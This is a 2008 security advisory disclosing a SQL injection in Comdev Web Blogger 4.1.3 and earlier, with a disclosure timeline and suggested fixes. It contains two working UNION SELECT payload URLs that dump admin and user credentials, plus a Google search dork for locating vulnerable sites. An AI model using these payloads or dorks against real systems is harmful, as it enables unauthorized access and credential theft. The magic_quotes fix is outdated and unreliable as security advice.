adv100-K-159-2008.txt

`____________________ ___ ___ ________  
\_ _____/\_ ___ \ / | \\_____ \   
| __)_ / \ \// ~ \/ | \   
| \\ \___\ Y / | \  
/_______ / \______ /\___|_ /\_______ /  
\/ \/ \/ \/   
  
.OR.ID  
ECHO_ADV_100$2008  
  
-----------------------------------------------------------------------------------------  
[ECHO_ADV_100$2008] Comdev Web Blogger <= 4.1.3 (arcmonth) Sql Injection Vulnerability  
-----------------------------------------------------------------------------------------  
  
Author : M.Hasran Addahroni  
Date : July, 14 th 2008  
Location : Jakarta, Indonesia  
Web : http://e-rdc.org/v1/news.php?readmore=102  
Critical Lvl : Medium  
Impact : System access  
Where : From Remote  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : Comdev Web Blogger  
version : <= 4.1.3  
Vendor : http://www.comdevweb.com/blogger.php  
Description :  
  
Comdev Web Blogger is your voice and also allows others to give you feedback on a post-by-post basis.  
Site members can now create, manage, upload photos to their own blogs.FEATURES: Non Template-Based Gives You Flexibility to Fit  
the Web Blogger to Your Web Design Page • Multiple user accounts to create & invite friends to their own blogs • Hot Blogs,   
Latest Blogs • RSS News Feeds • Blogs Categorisation • Hot Blogs & Latest Blogs • Search Blogs • Mini Calendar • Monthly Archive•  
Links to Friends' Blog • Public or Friends View Only Blogs • Set Post Comments Permission • Friends Login • Forms Submission with   
CAPTCHA Image Verification • WYSIWYG Editor for Blog & Comment • Notify Friends of New Blog • Set View & Post Comment Permissions •  
sSet Date & Time Format • Local Time Zone • Pre-defined Front-end CSS • Personalized Emails & Auto-Responders •   
Installation Support available  
  
---------------------------------------------------------------------------  
  
Vulnerability:  
~~~~~~~~~~~~  
  
Input passed to the "arcmonth" parameter in blog's page is not properly verified before being used   
in an sql query.  
This can be exploited thru the browser to manipulate SQL queries and pull the username and password  
from admin and users in plain text. Successful exploitation requires that "magic_quotes" is off.  
  
  
Poc/Exploit:  
~~~~~~~~  
  
http://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007&arcmonth=-1%20union%20select%201,concat(username,0x3a,password),3,4,5,6%20from%20sys_user--  
http://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007&arcmonth=-11%20union%20select%201,username,3,password,5,6%20from%20sys_user/*  
  
Admin Login at http://www.example.com/[PATH]/oneadmin/  
  
Dork:  
~~~  
Google : "Powered by Comdev Web Blogger" or allinurl:".php?domain= arcyear=2007 arcmonth"  
  
  
Solution:  
~~~~~  
  
- Edit the source code to ensure that input is properly verified.  
- Turn on magic_quotes in php.ini  
  
  
Timeline:  
~~~~~~~  
  
- 11 - 07 - 2008 bug found  
- 11 - 07 - 2008 vendor contacted  
- 14 - 07 - 2008 advisory released  
---------------------------------------------------------------------------  
  
Shoutz:  
~~~  
~ ping - my dearest wife "happy birthday darling", zautha - my beloved son  
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,negative,  
the_hydra,neng chika, str0ke  
~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOCIATES  
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,  
super_temon, b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b  
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,cR4SH3R,  
kuntua, stev_manado,nofry,k1tk4t,0pt1c  
~ [email protected]  
~ #aikmel #e-c-h-o @irc.dal.net  
  
---------------------------------------------------------------------------  
Contact:  
~~~~  
  
K-159 || echo|staff || eufrato[at]gmail[dot]com  
Homepage: http://www.e-rdc.org/  
  
-------------------------------- [ EOF ] ----------------------------------   
`